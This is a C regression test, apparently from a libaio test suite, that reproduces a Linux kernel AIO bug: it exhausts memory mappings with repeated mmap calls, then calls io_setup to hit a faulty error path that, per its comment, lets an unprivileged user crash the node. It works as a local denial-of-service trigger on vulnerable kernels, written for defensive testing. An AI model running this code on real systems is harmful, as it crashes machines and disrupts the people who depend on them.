1 /* 2 * Code taken from an example posted to Red Hat bugzilla #220971 3 * 4 * Original Author: Kostantin Khorenko from OpenVZ/Virtuozzo 5 * Munged by Jeff Moyer to incorporate it into the autotest framework. 6 * 7 * Description: "aio_setup_ring() function initializes info->nr_pages 8 * variable incorrectly, then this variable can be used in error path 9 * to free the allocated resources. By this way an unprivileged user 10 * can crash the node." 11 * 12 * At the beginning of aio_setup_ring, info->nr_pages is initialized 13 * to the requested number of pages. However, it is supposed to 14 * indicate how many pages are mapped in info->ring_pages. Thus, if 15 * the call to do_mmap fails: 16 * 17 * info->mmap_base = do_mmap(NULL, 0, info->mmap_size, 18 * PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, 19 * 0); 20 * if (IS_ERR((void *)info->mmap_base)) { 21 * up_write(&ctx->mm->mmap_sem); 22 * printk("mmap err: %ld\n", -info->mmap_base); 23 * info->mmap_size = 0; 24 * aio_free_ring(ctx); <--------- 25 * return -EAGAIN; 26 * } 27 * 28 * we end up calling aio_free_ring with a bogus array and cause an oops. 29 * 30 * This is a destructive test. 31 */ 32 #include <stdio.h> 33 #include <unistd.h> 34 #include <sys/mman.h> 35 #include <errno.h> 36 #include <libgen.h> 37 #include <libaio.h> 38 39 int main(int __attribute__((unused)) argc, char **argv) 40 { 41 long res; 42 io_context_t ctx = (void*) 0; 43 void* map; 44 45 while (1) { 46 map = mmap(NULL, 100, PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 47 0, 0); 48 if (map == MAP_FAILED) 49 break; 50 map = mmap(NULL, 100, PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 51 0, 0); 52 if (map == MAP_FAILED) 53 break; 54 } 55 56 res = io_setup(10000, &ctx); 57 if (res != -ENOMEM) { 58 printf("%s: Error: io_setup returned %ld, expected -ENOMEM\n", 59 basename(argv[0]), res); 60 return 1; 61 } else 62 printf("%s: Success!\n", basename(argv[0])); 63 return 0; 64 } 65